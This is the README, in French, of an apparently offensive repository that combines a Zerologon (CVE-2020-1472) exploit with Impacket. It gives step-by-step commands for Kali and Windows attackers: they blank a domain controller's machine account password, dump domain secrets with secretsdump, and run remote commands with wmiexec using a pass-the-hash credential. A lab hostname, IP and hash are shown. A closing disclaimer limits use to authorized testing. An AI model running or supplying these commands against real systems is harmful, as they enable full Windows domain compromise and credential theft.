Exploit combiné Zerologon et Impacket (CVE-2020-1472)

Ce dépôt contient une implémentation mise à jour (2024) de l'exploit Zerologon combiné aux outils Impacket pour exploiter CVE-2020-1472 (Zerologon). Cet exploit cible les environnements Windows Server pour manipuler les mots de passe des comptes machines et effectuer des mouvements latéraux.

Fonctionnalités

• Exploite CVE-2020-1472 (Zerologon) pour définir le mot de passe du compte machine cible sur une chaîne vide.
• Utilise les outils Impacket pour extraire les identifiants et exécuter des commandes sur la machine victime.

Prérequis

1. Python 3.x
2. Installez les dépendances requises en exécutant :

   pip install -r requirements.txt
   

Utilisation

Exemple de scénario

• Victime : Windows Server 2016
• Attaquant : Kali Linux (ou système Windows)

Commandes d'exploitation (Kali Linux)

1. Définissez le mot de passe du compte machine sur une chaîne vide :

   python3 set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. Extrayez les secrets du contrôleur de domaine :

   python3 secretsdump.py -just-dc tancongmang/WIN-C9PAHHGJN91\[email protected]
   

3. Exécutez des commandes sur la machine victime :

   python3 wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

Commandes d'exploitation (Windows attaquant)

1. Définissez le mot de passe du compte machine sur une chaîne vide :

   python set_empty_pw.py WIN-C9PAHHGJN91 192.168.40.145
   

2. Extrayez les secrets du contrôleur de domaine :

   python secretsdump.py -just-dc "tancongmang/[email protected]"
   

3. Exécutez des commandes sur la machine victime :

   python wmiexec.py tancongmang/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4
   

Remarques

• Remplacez WIN-C9PAHHGJN91 et 192.168.40.145 par le nom d'hôte et l'adresse IP réels de la cible.
• Assurez-vous d'avoir une autorisation appropriée avant d'utiliser cet outil.
• Cet outil est destiné uniquement à des fins éducatives et de tests d'intrusion.

Avertissement

Utilisez cet outil de manière responsable. L'utilisation non autorisée de cet outil pour exploiter des systèmes sans autorisation explicite est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.